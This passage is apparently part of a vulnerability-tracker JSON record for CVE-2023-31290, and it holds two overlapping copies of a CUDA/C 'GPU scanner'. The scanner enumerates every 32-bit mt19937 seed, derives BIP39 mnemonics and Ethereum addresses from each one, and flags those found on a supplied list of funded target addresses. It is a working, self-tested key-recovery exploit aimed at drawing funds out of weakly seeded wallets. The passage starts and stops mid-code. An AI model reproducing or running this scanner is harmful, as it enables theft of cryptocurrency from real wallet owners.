16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e-&gt;group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e-&gt;bn = BN_CTX_new();\n  e-&gt;order = BN_new();\n  e-&gt;k = BN_new();\n  e-&gt;t = BN_new();\n  e-&gt;P = e-&gt;group ? EC_POINT_new(e-&gt;group) : NULL;\n  if (!e-&gt;group || !e-&gt;bn || !e-&gt;order || !e-&gt;k || !e-&gt;t || !e-&gt;P) return -1;\n  return EC_GROUP_get_order(e-&gt;group, e-&gt;order, e-&gt;bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e-&gt;P) EC_POINT_free(e-&gt;P);\n  if (e-&gt;t) BN_free(e-&gt;t);\n  if (e-&gt;k) BN_free(e-&gt;k);\n  if (e-&gt;order) BN_free(e-&gt;order);\n  if (e-&gt;bn) BN_CTX_free(e-&gt;bn);\n  if (e-&gt;group) EC_GROUP_free(e-&gt;group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e-&gt;k)) return -1;\n  if (EC_POINT_mul(e-&gt;group, e-&gt;P, e-&gt;k, NULL, NULL, e-&gt;bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e-&gt;group, e-&gt;P, form, out, want, e-&gt;bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e-&gt;k) || !BN_bin2bn(il, 32, e-&gt;t)) return -1;\n  if (BN_is_zero(e-&gt;t) || BN_cmp(e-&gt;t, e-&gt;order) &gt;= 0) return -1;\n  if (BN_mod_add(e-&gt;k, e-&gt;k, e-&gt;t, e-&gt;order, e-&gt;bn) != 1) return -1;\n  if (BN_is_zero(e-&gt;k)) return -1;\n  return BN_bn2binpad(e-&gt;k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n  data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round &lt; 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i &lt; 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i &lt; 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] &lt;&lt; 1) | (bc[(i + 1) % 5] &gt;&gt; 63));\n      for (int j = 0; j &lt; 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i &lt; 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t &lt;&lt; KECCAKF_ROTC[i]) | (t &gt;&gt; (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j &lt; 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i &lt; 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i &lt; 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) &amp; tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen &gt;= rsiz) {\n    for (size_t i = 0; i &lt; rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i &lt; inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i &lt; 32; i++) { khex[2 * i] = hh[kh[i] &gt;&gt; 4]; khex[2 * i + 1] = hh[kh[i] &amp; 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  int rc = eth_from_seed64(&amp;e, seed, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&amp;e, got, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&amp;e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&amp;e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return;\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&amp;e);\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  int gpu_id = 0;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n    else if (!strcmp(argv[i], \"--gpu\") &amp;&amp; i + 1 &lt; argc) gpu_id = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  if (gpu_id &lt; 0 || gpu_id &gt;= ndev) {\n    fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n    return 1;\n  }\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  g_inner_threads = threads;\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n  {\n    CHECK_CUDA(cudaSetDevice(gpu_id));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    for (uint64_t s = start; s &lt; done_at; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; done_at - s) n = (int)(done_at - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.740068Z"}, {"uuid": "777a8e67-dc78-4c13-a543-e1e88033bd17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/93fa5197d28f92b1811124a85270afb0", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 